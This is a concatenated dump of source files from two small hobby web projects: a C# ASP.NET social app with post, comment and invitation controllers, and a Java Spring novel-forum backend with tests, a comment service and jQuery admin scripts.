specific properties you want to bind to, for // more details see http://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> Create([Bind("Content,Date")] Comment comment, int id) { Post post = await _context.Posts.SingleAsync(p => p.Id == id); User user = (User) await _user.GetUserAsync(HttpContext.User); if (ModelState.IsValid) { comment.PostID = post.Id; comment.UserID = user.Id; _context.Add(comment); await _context.SaveChangesAsync(); return RedirectToAction(nameof(Index)); } return View(comment); } // GET: Comments/Edit/5 public async Task<IActionResult> Edit(int? id) { if (id == null) { return NotFound(); } var comment = await _context.Comments.FindAsync(id); if (comment == null) { return NotFound(); } return View(comment); } // POST: Comments/Edit/5 // To protect from overposting attacks, please enable the specific properties you want to bind to, for // more details see http://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> Edit(int id, [Bind("Id,Content,Date")] Comment comment) { if (id != comment.Id) { return NotFound(); } if (ModelState.IsValid) { try { _context.Update(comment); await _context.SaveChangesAsync(); } catch (DbUpdateConcurrencyException) { if (!CommentExists(comment.Id)) { return NotFound(); } else { throw; } } return RedirectToAction(nameof(Index)); } return View(comment); } // GET: Comments/Delete/5 public async Task<IActionResult> Delete(int? id) { if (id == null) { return NotFound(); } var comment = await _context.Comments .FirstOrDefaultAsync(m => m.Id == id); if (comment == null) { return NotFound(); } return View(comment); } // POST: Comments/Delete/5 [HttpPost, ActionName("Delete")] [ValidateAntiForgeryToken] public async Task<IActionResult> DeleteConfirmed(int id) { var comment = await _context.Comments.FindAsync(id); _context.Comments.Remove(comment); await _context.SaveChangesAsync(); return RedirectToAction(nameof(Index)); } private bool CommentExists(int id) { return _context.Comments.Any(e => e.Id == id); } } } <file_sep>/SocialApp2/Models/Invitation.cs using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; using System.Linq; using System.Threading.Tasks; namespace SocialApp2.Models { public class Invitation { public int Id { get; set; } public string SenderId { get; set; } public string SenderEmail { get; set; } public string ReceiverId { get; set; } public User Receiver { get; set; } [DataType(DataType.Date)] public DateTime ReleaseDate { get; set; } } } <file_sep>/SocialApp2/Controllers/PostsController.cs using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Authorization; using Microsoft.AspNetCore.Identity; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.Rendering; using Microsoft.EntityFrameworkCore; using SocialApp.Models; using SocialApp2.Data; using SocialApp2.Models; namespace SocialApp2.Controllers { public class PostsController : Controller { private readonly ApplicationDbContext _context; private readonly UserManager<IdentityUser> _user; public PostsController(ApplicationDbContext context, UserManager<IdentityUser> user) { _context = context; _user = user; } // GET: Posts [Authorize] public async Task<IActionResult> Index() { //get id of logged user string userID = _user.GetUserId(HttpContext.User); List<string> friendIds = new List<string>(); var friends = _context.Friends.Where(f => f.UserSenderId == userID || f.UserReceiverId == userID); foreach(var friend in friends) { if(friend.UserReceiverId == userID) { friendIds.Add(friend.UserSenderId); } else { friendIds.Add(friend.UserReceiverId); } } //find posts which have id equal to id of logged user // or id equals to friends ids var posts = _context.Posts.Where(m => m.UserId == userID || friendIds.Contains(m.UserId)); return View(await posts.ToListAsync()); } // GET: Posts/Details/5 [Authorize] public async Task<IActionResult> Details(int? id) { if (id == null) { return NotFound(); } var post = await _context.Posts .FirstOrDefaultAsync(m => m.Id == id); if (post == null) { return NotFound(); } return View(post); } // GET: Posts/Create [Authorize] public IActionResult Create() { return View(); } // POST: Posts/Create // To protect from overposting attacks, please enable the specific properties you want to bind to, for // more details see http://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> Create([Bind("Id,Likes,ReleaseDate,Title,Content")] Post post) { if (ModelState.IsValid) { //get id of logged user string userID = _user.GetUserId(HttpContext.User); var user = _context.Users.Single(u => u.Id == userID); if(!String.IsNullOrEmpty(userID)) { post.UserId = userID; post.Author = user.Email; _context.Add(post); await _context.SaveChangesAsync(); } return RedirectToAction(nameof(Index)); } return View(post); } // GET: Posts/Edit/5 [Authorize] public async Task<IActionResult> Edit(int? id) { if (id == null) { return NotFound(); } var post = await _context.Posts.FindAsync(id); if (post == null) { return NotFound(); } return View(post); } // POST: Posts/Edit/5 // To protect from overposting attacks, please enable the specific properties you want to bind to, for // more details see http://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> Edit(int id, [Bind("Id,Likes,ReleaseDate,Title,Content")] Post post) { if (id != post.Id) { return NotFound(); } if (ModelState.IsValid) { try { _context.Update(post); await _context.SaveChangesAsync(); } catch (DbUpdateConcurrencyException) { if (!PostExists(post.Id)) { return NotFound(); } else { throw; } } return RedirectToAction(nameof(Index)); } return View(post); } // GET: Posts/Delete/5 [Authorize] public async Task<IActionResult> Delete(int? id) { if (id == null) { return NotFound(); } var post = await _context.Posts .FirstOrDefaultAsync(m => m.Id == id); if (post == null) { return NotFound(); } return View(post); } //testing // POST: Posts/Delete/5 [HttpPost, ActionName("Delete")] [ValidateAntiForgeryToken] public async Task<IActionResult> DeleteConfirmed(int id) { var post = await _context.Posts.FindAsync(id); _context.Posts.Remove(post); await _context.SaveChangesAsync(); return RedirectToAction(nameof(Index)); } private bool PostExists(int id) { return _context.Posts.Any(e => e.Id == id); } } } <file_sep>/SocialApp2/Models/SeedData.cs using Microsoft.AspNetCore.Identity; using Microsoft.EntityFrameworkCore; using Microsoft.Extensions.DependencyInjection; using SocialApp2.Data; using SocialApp2.Models; using System; using System.Collections.Generic; using System.Linq; namespace SocialApp.Models { public class SeedData { public static async System.Threading.Tasks.Task InitializeAsync(IServiceProvider serviceProvider) { using (var context = new ApplicationDbContext( serviceProvider.GetRequiredService< DbContextOptions<ApplicationDbContext>>())) { var userManager = serviceProvider.GetService<UserManager<IdentityUser>>(); if (context.Users.Any()) { return; // DB has been seeded } User user1 = new User { UserName = "<EMAIL>", Email = "<EMAIL>" }; User user2 = new User { UserName = "<EMAIL>", Email = "<EMAIL>" }; User user3 = new User { UserName = "<EMAIL>", Email = "<EMAIL>" }; User user4 = new User { UserName = "<EMAIL>", Email = "<EMAIL>" }; await userManager.CreateAsync(user1, "!Abc123"); await userManager.CreateAsync(user2, "!Abc123"); await userManager.CreateAsync(user3, "!Abc123"); await userManager.CreateAsync(user4, "!Abc123"); // Look for any Posts. if (context.Posts.Any()) { return; // DB has been seeded } Post post1 = new Post { Author = user1.Email, Title = "Wheneeee Harry Met Sally", ReleaseDate = DateTime.Parse("2018-1-12"), Content = "amazing post bla bla bla bla bla", Likes = 0, UserId = user1.Id }; Post post2 = new Post { Author = user2.Email, Title = "Wheneee heheesasdadhehe", ReleaseDate = DateTime.Parse("2018-2-11"), Content = "amazing post 3", Likes = 0, UserId = user2.Id }; Post post3 = new Post { Author = user3.Email, Title = "When heheehehe", ReleaseDate = DateTime.Parse("2018-2-11"), Content = "amazdding post 3", Likes = 0, UserId = user3.Id }; Post post4 = new Post { Author = user4.Email, Title = "huahuahuahuah", ReleaseDate = DateTime.Parse("2018-4-12"), Content = "amaddazing post 4", Likes = 0, UserId = user4.Id }; context.Posts.AddRange( post1, post2, post3, post4 ); // Look for any Posts. if (context.Friends.Any()) { return; // DB has been seeded } Friend friends = new Friend { UserReceiverId = user1.Id, UserSenderId = user2.Id }; Friend friends2 = new Friend { UserReceiverId = user1.Id, UserSenderId = user3.Id }; context.Friends.AddRange(friends, friends2); context.SaveChanges(); } } } } <file_sep>/SocialApp2/Models/User.cs using Microsoft.AspNetCore.Identity; using SocialApp.Models; using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; namespace SocialApp2.Models { public class User : IdentityUser { public List<Post> Posts { get; set; } public List<Friend> Friends { get; set; } public List<Invitation> InvitationReceived { get; set; } } } <file_sep>/SocialApp2/Models/Comment.cs using SocialApp.Models; using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; using System.Linq; using System.Threading.Tasks; namespace SocialApp2.Models { public class Comment { [Key] public int Id { get; set; } [Required] [Display(Name = "Content")] [MaxLength(5000)] public string Content { get; set; } [DisplayFormat(DataFormatString = "{0:dd/MM/yyyy}")] public DateTime Date { get; set; } public string UserID { get; set; } public int PostID { get; set; } } } <file_sep>/SocialApp2/Models/Post.cs using SocialApp2.Models; using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; using System.Linq; using System.Threading.Tasks; namespace SocialApp.Models { public class Post { public int Id { get; set; } public int Likes { get; set; } public string Author { get; set; } [DataType(DataType.Date)] public DateTime ReleaseDate { get; set; } [Required] [StringLength(100)] public string Title { get; set; } [Required] [StringLength(1000)] public string Content { get; set; } public string UserId { get; set; } public User User { get; set; } } } <file_sep>/SocialApp2/Controllers/InvitationsController.cs using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Identity; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.Rendering; using Microsoft.EntityFrameworkCore; using SocialApp2.Data; using SocialApp2.Models; namespace SocialApp2 { public class InvitationsController : Controller { private readonly ApplicationDbContext _context; private readonly UserManager<IdentityUser> _user; public InvitationsController(ApplicationDbContext context, UserManager<IdentityUser> user) { _context = context; _user = user; } // GET: Invitations public async Task<IActionResult> Index() { string userID = _user.GetUserId(HttpContext.User); // retrieve received nivitations var invitations = _context.Invitation.Where(i => i.ReceiverId == userID); return View(await invitations.ToListAsync()); } public async Task<IActionResult> Search() { var invitations = _context.Invitation.Include(i => i.Receiver); string userID = _user.GetUserId(HttpContext.User); var users = _context.Users.Where(m => m.Id != userID); return View(await users.ToListAsync()); } [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> Accept(int id) { string loggedUserID = _user.GetUserId(HttpContext.User); var invitation = _context.Invitation.Single(m => m.Id == id); string senderID = _context.Users.Single(u => u.Id == invitation.SenderId).Id; Friend friend = new Friend { UserReceiverId = loggedUserID, UserSenderId = senderID }; _context.Friends.Add(friend); _context.Invitation.Remove(invitation); await _context.SaveChangesAsync(); return RedirectToAction(nameof(Index)); } [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> SendInvitation(string id) { string senderID = _user.GetUserId(HttpContext.User); var sender = _context.Users.Single(m => m.Id == senderID); string senderEmail = sender.Email; var receiver = _context.Users.Single(m => m.Id == id); Invitation invitation = new Invitation { ReceiverId = id, SenderId = senderID, SenderEmail = senderEmail, ReleaseDate = DateTime.Now }; _context.Invitation.Add(invitation); await _context.SaveChangesAsync(); return RedirectToAction(nameof(Index)); } // GET: Invitations/Details/5 public async Task<IActionResult> Details(int? id) { if (id == null) { return NotFound(); } var invitation = await _context.Invitation .Include(i => i.Receiver) .FirstOrDefaultAsync(m => m.Id == id); if (invitation == null) { return NotFound(); } return View(invitation); } // GET: Invitations/Create public IActionResult Create() { ViewData["SenderId"] = new SelectList(_context.Set<User>(), "Id", "Id"); return View(); } // POST: Invitations/Create // To protect from overposting attacks, please enable the specific properties you want to bind to, for // more details see http://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> Create([Bind("Id,SenderId")] Invitation invitation) { if (ModelState.IsValid) { _context.Add(invitation); await _context.SaveChangesAsync(); return RedirectToAction(nameof(Index)); } ViewData["SenderId"] = new SelectList(_context.Set<User>(), "Id", "Id", invitation.SenderId); return View(invitation); } // GET: Invitations/Edit/5 public async Task<IActionResult> Edit(int? id) { if (id == null) { return NotFound(); } var invitation = await _context.Invitation.FindAsync(id); if (invitation == null) { return NotFound(); } ViewData["SenderId"] = new SelectList(_context.Set<User>(), "Id", "Id", invitation.SenderId); return View(invitation); } // POST: Invitations/Edit/5 // To protect from overposting attacks, please enable the specific properties you want to bind to, for // more details see http://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> Edit(int id, [Bind("Id,SenderId")] Invitation invitation) { if (id != invitation.Id) { return NotFound(); } if (ModelState.IsValid) { try { _context.Update(invitation); await _context.SaveChangesAsync(); } catch (DbUpdateConcurrencyException) { if (!InvitationExists(invitation.Id)) { return NotFound(); } else { throw; } } return RedirectToAction(nameof(Index)); } ViewData["SenderId"] = new SelectList(_context.Set<User>(), "Id", "Id", invitation.SenderId); return View(invitation); } // GET: Invitations/Delete/5 public async Task<IActionResult> Delete(int? id) { if (id == null) { return NotFound(); } var invitation = await _context.Invitation .Include(i => i.Receiver) .FirstOrDefaultAsync(m => m.Id == id); if (invitation == null) { return NotFound(); } return View(invitation); } // POST: Invitations/Delete/5 [HttpPost, ActionName("Delete")] [ValidateAntiForgeryToken] public async Task<IActionResult> DeleteConfirmed(int id) { var invitation = await _context.Invitation.FindAsync(id); _context.Invitation.Remove(invitation); await _context.SaveChangesAsync(); return RedirectToAction(nameof(Index)); } private bool InvitationExists(int id) { return _context.Invitation.Any(e => e.Id == id); } } }
2f194f01202ed86248c386361cec6a68c7088feb
[ "C#" ]
10
C#
michcic/SocialApp
3a9c6025d633619e3909df75db4d6bdde4c09b4c
2d3ee66943b1d51f0f84f3c09de47585635f1ab6
refs/heads/master
<file_sep>const functions = require('firebase-functions'); const admin=require('firebase-admin'); admin.initializeApp(); // // Create and Deploy Your First Cloud Functions // // https://firebase.google.com/docs/functions/write-firebase-functions // // exports.helloWorld = functions.https.onRequest((request, response) => { // functions.logger.info("Hello logs!", {structuredData: true}); // response.send("Hello from Firebase!"); // }); exports.createUser = functions.firestore .document('{Tm}/Interactions/{emails}/{docID}') .onCreate((snap, context) => { // console.log(snap.data()); return admin.messaging().sendToTopic(snap.data().To,{notification:{body:'Check your notification in the app for more informations' ,title:snap.data().Name+' is interested about your book' ,clickAction:'FLUTTER_NOTIFICATION_CLICK' ,sound:'default' ,image:snap.data().ProfileLinkKey }}); // admin.messaging(). }); exports.msg =functions.firestore.document('Chats/FList/{colID}/{docID}').onCreate((snap,context)=>{ return admin.messaging().sendToTopic(snap.data().to,{ notification:{body:'Check your responses list in the app for more informations' ,title:snap.data().fromName+' is willing to hand you the book' ,clickAction:'FLUTTER_NOTIFICATION_CLICK' ,sound:'default' ,image:snap.data().fromPic } }) });<file_sep>org.gradle.jvmargs=-Xmx1536M org.gradle.daemon=true org.gradle.parallel=true android.enableR8=true android.useAndroidX=true android.enableJetifier=true <file_sep># uBookSharing University based Book sharing app. Users are divided according to their Universities. Anyone can upload details of his/her book for sell/rent/share and anyone can request them for that book providing their contact informations. Individual's contact informations is not publicly available. Only when someone requests to get a book then and only then the owener of the book will get the contact informations. If you want to try it out here is an auth credential Email: <EMAIL> Password: <PASSWORD> https://user-images.githubusercontent.com/53114581/118114448-6c52c080-b409-11eb-8953-19946b6e26d0.mp4 https://user-images.githubusercontent.com/53114581/118112940-7b387380-b407-11eb-8c1e-1e84171dd495.mp4 https://user-images.githubusercontent.com/53114581/118116806-8e9a0d80-b40c-11eb-9266-02c3b85bc8f1.mp4 ![image](https://user-images.githubusercontent.com/53114581/118112856-61972c00-b407-11eb-8004-1f516bbf91f4.png) ![image](https://user-images.githubusercontent.com/53114581/118113063-a02ce680-b407-11eb-8a3d-b3a416460e8b.png) ![image](https://user-images.githubusercontent.com/53114581/118113104-ad49d580-b407-11eb-8f5d-477d27e2d20d.png) ![image](https://user-images.githubusercontent.com/53114581/118113292-ebdf9000-b407-11eb-9a5d-d1db4f23ce4d.png) ![image](https://user-images.githubusercontent.com/53114581/118113768-84761000-b408-11eb-8643-2f93778c5a1c.png) ![image](https://user-images.githubusercontent.com/53114581/118113307-f00bad80-b407-11eb-989a-9bc3c962573c.png) ![image](https://user-images.githubusercontent.com/53114581/118113843-9eafee00-b408-11eb-9bc1-a15be24807d6.png) ![image](https://user-images.githubusercontent.com/53114581/118114598-a45a0380-b409-11eb-9ea9-5d0db5d07c7d.png) ![image](https://user-images.githubusercontent.com/53114581/118114615-a91eb780-b409-11eb-8f46-851c73e3d8fd.png) ![image](https://user-images.githubusercontent.com/53114581/118114654-b340b600-b409-11eb-8bbd-e383e3b029b6.png) ![image](https://user-images.githubusercontent.com/53114581/118114734-ce132a80-b409-11eb-8534-e71076d9d6fd.png) ![image](https://user-images.githubusercontent.com/53114581/118114794-e420eb00-b409-11eb-92a7-f4478322d862.png) ![image](https://user-images.githubusercontent.com/53114581/118114810-e8e59f00-b409-11eb-8da3-ee56e72d9f42.png)
29c6b3be674fd5635c92f7d2521a9217c529c15b
[ "JavaScript", "Markdown", "INI" ]
3
JavaScript
Prottya-Roy/uBookSharing
6be4e04dec50608f9f6261a88003451635eeeb3c
074f756c055a079a0a5050977d8832ade1e76a18
refs/heads/master
<file_sep># This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup). # # Examples: # # movies = Movie.create([{ name: '<NAME>' }, { name: '<NAME> the Rings' }]) # Character.create(name: 'Luke', movie: movies.first) laddu = Restaurant.create(name: "The chinese Laddu", category: "chinese", address: "2 av singapore", rating: 0) jap_resto = Restaurant.create(name: "The good jap", category: "japanese", address: "France", rating: 3) bel_resto = Restaurant.create(name: "The good frite", category: "belgian", address: "2 av de la frite", rating: 4) french_resto = Restaurant.create(name: "The beret", category: "french", address: "Paris", rating: 1) it_resto = Restaurant.create(name: "The beretto", category: "italian", address: "Roma", rating: 2) <file_sep>Rails.application.routes.draw do # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html resources :restaurants, only: [:index, :show, :create, :new] do resources :reviews, only: [:new, :create] end # resources :reviews, only: [:index] # see details of a restaurant + all the reviews related to it # add a restau # # ?? no need for those routes ?? update a restaurant ? # get 'restaurants/:id/edit', to: 'restaurants#edit' # patch 'restaurants/:id', to: 'restaurants#update' # # ?? no need to delete a restaurant ?? # delete 'restaurants/:id', to: 'restaurants#destroy' # add a review to a restaurant end
dce8fc85a961978e4140d388600ab546ba725b98
[ "Ruby" ]
2
Ruby
laurybrett/rails-yelp-mvp
a3157a9bdb695cffbea99f083e758fd8413c4e7e
e21aeeb588b0f6c8f9f3da180a792d7ffe7583f1
refs/heads/master
<repo_name>chenmodaoshi/git<file_sep>/onLineNovelCenter/src/com/lnsf/test/PostTest.java package com.lnsf.test; import java.beans.Transient; import java.util.Date; import java.util.List; import javax.servlet.jsp.PageContext; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.domain.Page; import org.springframework.test.context.ContextConfiguration; import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; import org.springframework.transaction.annotation.Transactional; import com.lnsf.dao.CommDao; import com.lnsf.dao.PostDao; import com.lnsf.dao.UserDao; import com.lnsf.entity.Post; import com.lnsf.entity.User; import com.lnsf.service.CommService; import com.lnsf.service.PostService; @RunWith(SpringJUnit4ClassRunner.class) @ContextConfiguration("/applicationContext.xml") public class PostTest { @Autowired private PostService postService; @Autowired private UserDao userDao; @Autowired private CommService commService; //查找所有贴子,按最后评论发表时间排序 @Test public void loadAllPosts(){ List<Post> posts=postService.loadAllPosts(); for(Post post :posts){ System.out.println(post.getLastdate()+"\n"); } } //根据贴子等级查找贴子,按最后评论发表时间排序 @Test public void loadPostByBlevel(){ List<Post>list=postService.loadAllPosts(); for(Post post:list){ System.out.println(post.getLastdate()); } } //增加贴子 @Test public void savePost(){ List<User> uList = (List<User>) userDao.findAll(); Post post = new Post(); post.setUser(uList.get(0)); post.setPlevel(3); post.setPname("testPost"); post.setPtype("test1"); post.setCreatedate(new Date()); post.setLastdate(new Date()); post.setMaxfloor(2); // postService.savePost(post); } //根据贴名查找贴子,模糊查找 @Test public void loadPostByBname(){ System.out.println("模糊查找结果数:"+postService.loadPostByPname("est").size()); } //根据贴子Id删除贴子,同时删除贴子的评论,成功返回1,错误返回0 @Test public void removePostByPostid(){ System.out.println("service返回值"+postService.removePostByPostid(13)); } //根据用户Id查找贴子 @Test public void loadPostByU_id(){ postService.loadPostByUserid(4); } //修改贴子等级,成功返回1,失败返回0 @Test public void modifyPostBlevel(){ System.out.println(postService.modifyPostPlevel(1, 10)); } //查找所有贴子,按时间排序 @Test public void loadPostsTime(){} //根据用户id删除所有帖子 @Test public void removeAllByUserid(){ System.out.println(postService.removeAllByUserid(4)); } //根据帖子发布时间排序并分页 @Test public void loadPostOrderByTimeAndPage() { Page<Post> page =postService.loadPostOrderByTimeAndPage(2, 3); System.out.println("总页数"+page.getTotalPages()); System.out.println("当前页码"+ (page.getNumber()+1)); for(Post post:page.getContent()){ System.out.println(post.getCreatedate()); } } //根据类型 贴标题 模糊查询 按时间排序并分页 @Test public void loadPostPageByPtypeAndPname() { Page<Post>page= postService.loadPostPageByPtypeAndPname("动漫音乐", "wa", 1, 10); System.out.println("总页数"+page.getTotalPages()+"共结果"+page.getNumberOfElements()); List<Post> pLsit= page.getContent(); for(Post post: pLsit){ System.out.println(post.getPtype()+"****"+post.getPname()+"***"+post.getCreatedate()); } } } <file_sep>/onLineNovelCenter/WebContent/js/userback.js $(function(){ $("#update").click(function(){ var $row = $('#dg').datagrid('getSelected'); var powNum=$('#powNum').val(); $('#modifyUserid').val($row.userid); if($row.length==0){ return false; } $("#modifyUser").dialog({ title:'修改用户', width : 300, height : 400, modal : true, iconCls : 'icon-login', buttons : '#modifyUserBtn', }); //密码 $("#pwd").validatebox({ required:true, missingMessage:'请输入密码', validType:'length[6,30]', invalidMessage:'密码在6-30位', }).val($row.pwd).attr("readonly",true); //昵称 $("#petname").validatebox({ required:true, missingMessage:'请输入名称,名称大于等于4位', validType:'length[4,30]', invalidMessage:'名称过短', }).val($row.petname).attr("readonly",true); //性别 $("#sex").validatebox({ required:true, missingMessage:'请输入性别男或女', validType:'sexcheck', }).val($row.sex).attr("readonly",true); //电话 $("#phone").validatebox({ required:true, missingMessage:'请输入手机号码', validType:'phoneNum', }).val($row.phone).attr("readonly",true); //权限 if(powNum!=0){ $("#pow").attr("readonly",true); } $("#pow").validatebox({ required:true, missingMessage:'请输入权限1为管理员2为普通用户', validType:'powNum', }).val($row.pow); //状态 $("#status").validatebox({ required:true, missingMessage:'请输入状态,1关小黑屋', validType:'statusNum', }).val($row.status); $("#rbtn").click(function(){ if (!$('#mname').validatebox('isValid')) { $('#mname').focus(); } else if (!$('#password').validatebox('isValid')) { $('#password').focus(); } else { modifyUser(); } }); $.extend($.fn.validatebox.defaults.rules, { sexcheck: { validator: function (value, param) { if(value=='男'|value=='女'){ return value; } }, message: '请输入男或者女', }, phoneNum: { validator: function (value, param) { return /^1[34578]\d{9}$/.test(value); }, message: '请输入正确的手机号', }, powNum: { validator: function (value, param) { return /^[12]$/.test(value); }, message: '只能输入1(管理员)或者2(普通用户)', }, statusNum: { validator: function (value, param) { return /^[01]$/.test(value); }, message: '只能输入0(允许发帖回复)或者1(禁止发帖回复)', }, }); $("#modifyUser input").validatebox('enableValidation'); }); $("#res").click(function(){ $("#modifyUser input").val(null).validatebox('enableValidation'); }); $("#modifyUserBtn").click(function(){ if (!$('#pwd').validatebox('isValid')) { $('#pwd').focus(); } else if (!$('#pow').validatebox('isValid')) { $('#pow').focus(); } else{ modifyUser(); } }); });/* 页面加载结束 */ $("#search").click(function(){ var thisuser=$("#thisuser").val(); $('#dg').datagrid({ url:'showalluser?pow='+thisuser, method:'get', toolbar: '#tb', pagination:true, singleSelect: true, pageSize:10, pageList: [10, 20, 30], fitColumns:true, columns : [ [ { field : 'userid',title : '编号',width : 48,align : 'center' }, { field:'accound',title : '账号',align:'center',width:115,editor:'textbox' }, { field:'pwd',title : '密码',align:'center',width:116,editor:'textbox' }, { field:'pow',title : '权限',align:'center',width:60,editor:'numberbox' }, { field:'regdate',title : '注册时间',align:'center',width:96 }, { field:'sex',title : '性别',align:'center',width:35,editor:'textbox' }, { field:'petname',title : '昵称',align:'center',width:120,editor:'textbox' }, { field:'phone',title : '手机号码',align:'center',width:117,editor:'numberbox' }, { field:'status',title : '状态',align:'center',width:45,editor:'numberbox' } ] ], }); var dg=$('#dg').datagrid('getPager'); }); $("#searchUser").click(function(){ var thisuser=$("#petnameSearch").val(); $('#dg').datagrid({ url:'searchUser?petname='+thisuser, method:'get', toolbar: '#tb', pagination:true, singleSelect: true, pageSize:10, pageList: [10, 20, 30], fitColumns:true, columns : [ [ { field : 'userid',title : 'Id',width : 48,align : 'center' }, { field:'accound',title : 'accound',align:'center',width:115,editor:'textbox' }, { field:'pwd',title : 'pwd',align:'center',width:116,editor:'textbox' }, { field:'pow',title : 'pwd',align:'center',width:60,editor:'numberbox' }, { field:'regdate',title : 'regdate',align:'center',width:96 }, { field:'sex',title : 'sex',align:'center',width:35,editor:'textbox' }, { field:'petname',title : 'petname',align:'center',width:120,editor:'textbox' }, { field:'phone',title : 'phone',align:'center',width:117,editor:'numberbox' }, { field:'status',title : 'status',align:'center',width:45,editor:'numberbox' } ] ], }); var dg=$('#dg').datagrid('getPager'); }); function modifyUser(){ $.ajax({ url : 'adminModifyUser', type : 'post', data : { userid : $('#modifyUserid').val(), pow : $('#pow').val(), status : $('#status').val(), }, beforeSend : function () { $.messager.progress({ text : '正在修改...', }); }, dataType: "text", success : function(data, response, status){ $.messager.progress('close'); if(data=='success'){ $("#dg").datagrid('reload'); alert("修改成功"); } } }); } function removeit(){ var rows = $('#dg').datagrid('getSelections'); var data = {"userid":rows[0].userid}; ajax("deleteuser",data); } function ajax($url,$data){ $.ajax({ url:$url, //请求的url地址 dataType:"text", //返回格式为json data:$data, //参数值 type:"GET", //请求方式 beforeSend : function () { $.messager.progress({ text : '正在尝试删除...', }); }, success:function(data){ $.messager.progress('close'); $("#dg").datagrid('reload'); alert("删除用户成功!"); endEditing(); }, error:function(){ $.messager.progress('close'); alert("error"); reject(); } }); }<file_sep>/onLineNovelCenter/src/com/lnsf/service/Impl/CommServiceImpl.java package com.lnsf.service.Impl; import java.util.ArrayList; /** * 修改人:卢仲贤 * 日期:2017/7/28 */ import java.util.Date; import java.util.List; import javax.persistence.criteria.CriteriaBuilder; import javax.persistence.criteria.CriteriaQuery; import javax.persistence.criteria.Path; import javax.persistence.criteria.Predicate; import javax.persistence.criteria.Root; import org.hibernate.id.IntegralDataTypeHolder; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.domain.Page; import org.springframework.data.domain.PageRequest; import org.springframework.data.domain.Sort; import org.springframework.data.domain.Sort.Direction; import org.springframework.data.domain.Sort.Order; import org.springframework.data.jpa.domain.Specification; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import com.lnsf.dao.CommDao; import com.lnsf.dao.PostDao; import com.lnsf.dao.UserDao; import com.lnsf.entity.Comm; import com.lnsf.entity.Post; import com.lnsf.service.CommService; @Service("commService") public class CommServiceImpl implements CommService { @Autowired private CommDao commDao; @Autowired private PostDao postDao; @Autowired private UserDao userDao; @Override public int CommRow(Integer postid) { Integer count = commDao.findcountcommbypostid(postid); return count; } @Transactional @Override public Comm saveComm(Comm comm) { Date date=new Date(); Post post = postDao.findOne(comm.getPost().getPostid()); post.setMaxfloor(post.getMaxfloor()+1); post.setCommnum(post.getCommnum()+1); post.setLastdate(date); postDao.save(post); comm.setFloor(post.getMaxfloor()); comm.setPubdate(date); Comm c=commDao.save(comm); return c; } @Override public List<Comm> loadCommByPostid(int postid) { List<Comm> comms = commDao.findBypostid(postid); return comms; } // @Override // public Page<Comm> loadCommPageByPostid(final Integer postid,Integer requestPageNum,Integer pageSize) { // Order order =new Order(Direction.ASC, "floor"); // Sort sort =new Sort(order); // PageRequest pageRequest=new PageRequest(requestPageNum-1, pageSize, sort); // Specification<Comm> spec=new Specification<Comm>() { // // @Override // public Predicate toPredicate(Root<Comm> root, CriteriaQuery<?> query, CriteriaBuilder cb) { // Path<Integer> postPath=root.get("post"); // Path<List<Comm>> parentPath=root.get("parent"); // Predicate postCondition=cb.equal(postPath, postid); // // // Predicate parentCondition=cb.isNull(parentPath); // List<Predicate> predicates=new ArrayList<Predicate>(); // predicates.add(postCondition); // predicates.add(parentCondition); // return cb.and(predicates.toArray(new Predicate[]{})); // } // }; // // // return commDao.findAll(spec, pageRequest); // } @Override public List<Comm> loadCommByUserid(int userid) { List<Comm> comms = commDao.findByuserid(userid); return comms; } //8-1 @Override public List<Comm> loadCommByUseridpage(int userid, int minnum, int maxnum) { List<Comm>comms = commDao.findByuseridpage(userid, minnum, maxnum); return comms; } @Override @Transactional public int removeCommByCommid(int commid) { commDao.delete(commid); return 1; } @Override @Transactional public int removeCommByUserid(int userid) { List<Comm> comm = commDao.findByuserid(userid); for(int i = 0; i<comm.size();i++) { commDao.delete(comm.get(i)); } return 1; } @Override @Transactional public int removeCommByPostid(int postid) { List<Comm> comm = commDao.findBypostid(postid); for(int i = 0; i<comm.size();i++) { commDao.delete(comm.get(i)); } return 1; } @Override @Transactional public int updateparent(Integer parent , Integer commid) { int count= commDao.updateparent(parent, commid); if(count>0) return 1; else return 0; } @Transactional @Override public Comm saveanswer(Comm comm) { Date date=new Date(); comm.setParent(null); comm.setPubdate(date); Comm c=commDao.save(comm); Post post=postDao.findOne(c.getPost().getPostid()); post.setLastdate(date); post.setCommnum(post.getCommnum()+1); postDao.saveAndFlush(post); return c; } @Override public List<Comm> loadCommPageByPostid(Integer postid, Integer requestPageNum, Integer pageSize) { int minnum = (requestPageNum-1)*pageSize+1; int maxnum = requestPageNum * pageSize; return commDao.findByPostidpage(postid, minnum, maxnum); } @Override public Integer getcountcommbyPostid(int postid){ return commDao.findcountcommbypostid(postid); } } <file_sep>/onLineNovelCenter/WebContent/js/index.js $(document).ready(function() { loadPostByPage(1); $('#login').bootstrapValidator({ 